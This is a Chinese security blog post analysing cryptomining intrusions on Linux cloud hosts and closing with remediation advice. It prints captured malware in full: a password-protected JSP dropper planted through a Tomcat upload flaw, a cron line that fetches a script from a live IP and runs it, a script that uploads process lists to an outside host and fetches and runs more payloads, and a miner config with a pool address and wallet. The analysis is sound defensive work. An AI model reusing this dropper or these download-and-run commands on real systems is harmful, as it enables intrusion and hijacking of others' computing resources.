Linux 服务器挖矿事件跟踪与修复建议 - 嘶吼 RoarTalk – 网络安全行业综合服务平台,4hou.com

Linux 服务器挖矿事件跟踪与修复建议

bt0sea 系统安全 2019-04-08 09:15:05
216776
收藏

导语:根据对近期入侵事件排查,大约80%为公有云挖矿事件。而且目前挖矿软件会集中在公有云物理机、GPU主机以及高CPU的云主机上,最终导致公有云底层物理机资源分配紧张,影响到营收。在此背景下,应急响应团队着手调查此类挖矿事件。

0x00、背景

根据对近期入侵事件排查,大约80%为公有云挖矿事件。而且目前挖矿软件会集中在公有云物理机、GPU主机以及高CPU的云主机上,最终导致公有云底层物理机资源分配紧张,影响到营收。在此背景下,应急响应团队着手调查此类挖矿事件。

0x01、脚本分析

目前活跃的部分矿池:

https://monerohash.com

https://monero.hashvault.pro/en/

xcn1.yiluzhuanqian.com

http://pool.supportxmr.com/

...

归纳起来,主要是分两类,第一类为有界面的通过账号能看到收益的正规矿池,只是黑客把它的客户端包含在自己的恶意挖矿linux程序当中。另外一类就是自己搭建的矿池,这样更有隐蔽性,但是很有可能在短时间内被和谐。

屏幕快照 2019-04-05 上午7.59.22.png



屏幕快照 2019-04-06 下午11.44.41.png

屏幕快照 2019-04-07 上午9.36.56.png

入侵手段也是五花八门:

这里面举几个例子:

通过Apache Tomcat  CVE-2017-12617 JSP上传漏洞,进入到云主机内部的比较多。获取的脚本:

<%@ page import="java.util.Arrays"%>
<%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%>
<%@ page import="java.io.*,java.util.*,java.net.URL,java.net.HttpURLConnection"%>
<%
String view = request.getParameter("view");
if (view == null || view.equals("")) {
  String localOS = System.getProperty("os.name");
  List<String> osList;
  String tomcatOS = "0";
  String DEFAULT = "0";
  String WINDOWS = "1";
  String LINUX = "2";
  osList = new ArrayList<String>();
  osList.add("Linux");
  osList.add("Windows");
  for (String os : osList) {
   if (localOS.contains(os)) {
    if (os.equals("Linux")) {
      tomcatOS = LINUX;
    } else if (os.equals("Windows")) {
     tomcatOS = WINDOWS;
    } else {
     tomcatOS = DEFAULT;
    }
    break;
   }
  }
  out.write(tomcatOS + "<br/>");
  response.setHeader("OS", tomcatOS);
  return;
 }
%>

<%
 String password = "FxxkMyLie1836710Aa";
 if (!view.equals(password)) {
  return;
 }
 int systemCode = Integer.parseInt(request.getParameter("os"));
 String address = request.getParameter("address");
 String fileName = null;
 String path = null;
 String winPath = "C:/Windows/Temp/";
 String linuxPath = "/var/tmp/";
 switch (systemCode) {
 case 1:
  path = winPath;
  break;
 default:
  path = linuxPath;
  break;
 }
 String[] urls = address.split(",");
 InputStream fileInputSteam = null;
 FileOutputStream fileOutputStream = null;
 for (int i = 0; i <= urls.length - 1; i++) {
  try {
   String[] file = urls[i].split("/");
   fileName = file[file.length - 1];
   out.write("Download:" + urls[i] + "<br>");
   out.write("<br>filename:" + fileName + "<br>");
   out.write("<br>Size:" + urls.length + "<br>");
   out.write(
   "-------------------------------------------------------------------------------------------------------"
    + "<br><br>");
   File isfile = new File(path + fileName);
   if (isfile.isFile()) {
    try {
     Runtime exec = Runtime.getRuntime();
     if (systemCode == 1) {
      exec.exec(path + fileName);
     } else {
      String chmod = "chmod 777 " + path + fileName;
      exec.exec(chmod);
      exec.exec("nohup " + path + fileName + " > /dev/null 2>&1 &");
     }
    } catch (Exception e1) {
     e1.printStackTrace();
    }
    continue;
   }
  URL downloadUrl = new URL(urls[i]);
   HttpURLConnection conn = (HttpURLConnection) downloadUrl.openConnection();
   conn.setConnectTimeout(60000 * 3);
   conn.setReadTimeout(60000 * 3);
   fileInputSteam = conn.getInputStream();
   fileOutputStream = new FileOutputStream(path + fileName);
   int length = -1;
   byte[] b = new byte[409600];
   while ((length = fileInputSteam.read(b)) != -1) {
    fileOutputStream.write(b, 0, length);
    fileOutputStream.flush();
   }
   if (conn != null) {
    conn.disconnect();
   }
   if (fileInputSteam != null) {
    fileInputSteam.close();
   }
   if (fileOutputStream != null) {
    fileOutputStream.close();
   }
   Runtime exec = Runtime.getRuntime();
   if (systemCode == 1) {
    exec.exec(path + fileName);
   } else {
    String chmod = "chmod 777 " + path + fileName;
    exec.exec(chmod);
    exec.exec("nohup " + path + fileName + " > /dev/null 2>&1 &");
   }
  } catch (Exception e2) {
   e2.printStackTrace();
  }
 }
%>

然后,我们登陆云主机通过Top命令发现。java程序占用大量CPU资源

PID User   PR  NI  VIRT  RES SHR S %CPU %MEM  TIME+ COMMAND
591 yarn  20 0  909m  17m 592 S 632.7   0.1%  977:50.22  java
...

在tmp目录下发现了挖矿木马 java程序,查看

crontab-u yarn -l

***** wget -q-0 - http://46.249.38.186/cr.sh|sh >dev/null

下载cr.sh脚本如下:主要是干掉重复进程

#!/bin/bash
sed -i '$d' /etc/ld.so.preload
crontab -l | sed '/46.249.38.186/d' | crontab -
ps aux --sort=-pcpu > /tmp/tmp2.txt
#netstat -antp > /tmp/tmp2.txt
#crontab -l > /tmp/tmp2.txt
#ps -eo uid,pid,ppid,stime,%cpu,cmd --sort=-%cpu |grep -v STIME| head>/tmp/tmp2.txt
#top -c -n 1 -b > /tmp/tmp.txt
curl -F "file=@/tmp/tmp2.txt" http://46.249.38.186/rep.php
rm -rf /tmp/tmp2.txt

pkill -f systemctI
pkill -f kworkerds
pkill -f init10.cfg
pkill -f wl.conf
pkill -f crond64
pkill -f watchbog
pkill -f sustse
ps aux | grep -v grep | grep -v "/" | grep -v "-" | grep -v "_" | awk 'length($11)>11{print $2}' | xargs kill -9
netstat -antp | grep '37.59.44.93\|37.59.54.205\|192.99.142.232\|158.69.133.20\|192.99.142.249\|202.144.193.110\|192.99.142.225\|192.99.142.246\|46.4.200.177\|192.99.142.250\|46.4.200.179\|192.99.142.251\|46.4.200.178\|159.65.202.177\|185.92.223.190\|222.187.232.9\|78.46.89.102' | grep 'ESTABLISHED' | awk '{print $7}' | sed -e "s/\/.*//g" | xargs kill -9

LDR="wget -q -O -"
if [ -s /usr/bin/curl ];
then
    LDR="curl";
fi
if [ -s /usr/bin/wget ];
then
    LDR="wget -q -O -";
fi
$LDR http://193.57.40.46/cr.sh | sh
if [ ! "$(ps -fe|grep '/tmp/java'|grep 'w.conf'|grep -v grep)" ];
then
    $LDR https://bitbucket.org/zrundr42/mygit/raw/master/zz.sh | sh
    echo "1"
else
    pwd
fi

挖矿配置脚本:


{
    "algo": "cryptonight",
    "background": true,
    "colors": false,
    "retries": 5,
    "retry-pause": 5,
    "donate-level": 1,
    "syslog": false,
    "log-file": null,
    "print-time": 60,
    "av": 0,
    "safe": false,
    "max-cpu-usage": 95,
    "cpu-priority": 4,
    "threads": null,
    "pools": [
         {
            "url": "stratum+tcp://163.172.205.136:3333",
            "user": "43MfpHpcyNh2KaAB3ncY2xKWxu5RSRHCpQoEdjYaUZBN4XfmoQXcxx6fysr966micGW8XMSCzma1CePQhaiKw6gP8hMs8a9",
            "pass": "h",
            "keepalive": true,
            "nicehash": false,
            "variant": -1
        }
    ],
    "api": {
        "port": 0,
        "access-token": null,
        "worker-id": null
    }
}


0x02、攻击链分析

屏幕快照 2019-04-07 上午10.04.21.png




0x03、修复建议

1、修复Tomcat上传漏洞,并且通过扫描器持续监控其修复状态。

2、杀死伪造成java的挖矿程序,并且清理crontab异常项,使用EDR Agent监控crontab更改。

3、通过态势感知持续监控云主机对外连接,如果发现威胁情报匹配的挖矿、C2外联等情况,动态加载安全组或者ACL,block其相关连接。

  • 分享至
取消

感谢您的支持,我会继续努力的!

扫码支持

打开微信扫一扫后点击右上角即可分享哟

发表评论

 
本站4hou.com,所使用的字体和图片文字等素材部分来源于原作者或互联网共享平台。如使用任何字体和图片文字有侵犯其版权所有方的,嘶吼将配合联系原作者核实,并做出删除处理。
©2024 北京嘶吼文化传媒有限公司 京ICP备16063439号-1 本站由 提供云计算服务